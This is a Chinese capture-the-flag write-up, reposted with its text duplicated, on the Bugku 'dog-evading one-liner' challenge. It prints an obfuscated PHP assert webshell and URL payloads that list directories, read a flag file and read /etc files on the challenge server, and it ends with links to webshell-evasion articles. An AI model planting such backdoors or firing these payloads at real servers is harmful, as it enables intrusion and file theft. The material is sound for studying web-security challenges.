bugku 过狗一句话

Posted ainv-123

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了bugku 过狗一句话相关的知识,希望对你有一定的参考价值。

题目描述:
题目描述:
                              
上面的php进行格式化之后:
<?php     $poc="a#s#s#e#r#t";    $poc_1=explode("#",$poc);                 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];    $poc_2($_GET[‘s‘]) ?>
其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
$poc_2和_GET[‘s‘]都会被解析成相应的函数,之后再执行
assert($_GET[‘s‘])
看看大佬的博客,构造payload,爆出当前目录下的文件名:
 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
 %27是单引号 ‘  的url编码
读出来array数组的值:
 Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
 一个一个试:
 最后这个url得到flag
 http://123.206.87.240:8010/flag_sm1skla1.txt
 
 
 试一下读取上级目录
 http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
 
 也可以读出来,权限没有限制。
 读取当前目录,返回结果跟 ‘./ ‘ 一样,看来当前的目录名为web:
 http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
 
 etc目录下的文件:
 看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
 
 当然可以构造其他的payload去获取想要的资源:
 
 http://123.206.87.240:8010/?=print_r(readfile(‘../etc/nsswitch.conf‘)) http://123.206.87.240:8010/?s=print_r(fopen(‘../etc/nsswitch.conf‘,‘r‘))
 在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。
 
 
 
知识点
explode(separator,string,limit)        把字符串打散为数组。
 separator
    必需。规定在哪里分割字符串。
   string
    必需。要分割的字符串。
   limit
    
    可选。规定所返回的数组元素的数目。
    大于 0 - 返回包含最多 limit 个元素的数组
    小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
    0 - 返回包含一个元素的数组
    
   
 eval函数中参数是字符,如:
     eval(‘echo 1;‘);
 assert函数中参数为表达式 (或者为函数),如:
     assert(phpinfo())
     直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
 scandir()
 $dir = "/images/";
 $a = scandir($dir);        // 以升序排序 - 默认
 $b = scandir($dir,1);    // 以降序排序
 一个过狗的总结https://www.jianshu.com/p/0510ce81566d
————————————————
版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changer_WE/article/details/89304399
                              
上面的php进行格式化之后:
<?php     $poc="a#s#s#e#r#t";    $poc_1=explode("#",$poc);                 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];    $poc_2($_GET[‘s‘]) ?>
其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
$poc_2和_GET[‘s‘]都会被解析成相应的函数,之后再执行
assert($_GET[‘s‘])
看看大佬的博客,构造payload,爆出当前目录下的文件名:
 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
 %27是单引号 ‘  的url编码
读出来array数组的值:
 Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
 一个一个试:
 最后这个url得到flag
 http://123.206.87.240:8010/flag_sm1skla1.txt
 
 
 试一下读取上级目录
 http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
 
 也可以读出来,权限没有限制。
 读取当前目录,返回结果跟 ‘./ ‘ 一样,看来当前的目录名为web:
 http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
 
 etc目录下的文件:
 看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
 
 当然可以构造其他的payload去获取想要的资源:
 
 http://123.206.87.240:8010/?=print_r(readfile(‘../etc/nsswitch.conf‘)) http://123.206.87.240:8010/?s=print_r(fopen(‘../etc/nsswitch.conf‘,‘r‘))
 在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。
 
 
 
知识点
explode(separator,string,limit)        把字符串打散为数组。
 separator
    必需。规定在哪里分割字符串。
   string
    必需。要分割的字符串。
   limit
    
    可选。规定所返回的数组元素的数目。
    大于 0 - 返回包含最多 limit 个元素的数组
    小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
    0 - 返回包含一个元素的数组
    
   
 eval函数中参数是字符,如:
     eval(‘echo 1;‘);
 assert函数中参数为表达式 (或者为函数),如:
     assert(phpinfo())
     直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
 scandir()
 $dir = "/images/";
 $a = scandir($dir);        // 以升序排序 - 默认
 $b = scandir($dir,1);    // 以降序排序
 一个过狗的总结https://www.jianshu.com/p/0510ce81566d
————————————————
版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changer_WE/article/details/89304399

以上是关于bugku 过狗一句话的主要内容,如果未能解决你的问题,请参考以下文章

整理的最新WebSHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话)

php一句话后门过狗姿势万千之理论篇

21.过狗一句话

php一句话后门过狗姿势万千之传输层加工

无特征过狗一句话猥琐思路(代码执行)

过狗菜刀原理以及绕过魔术引号的配置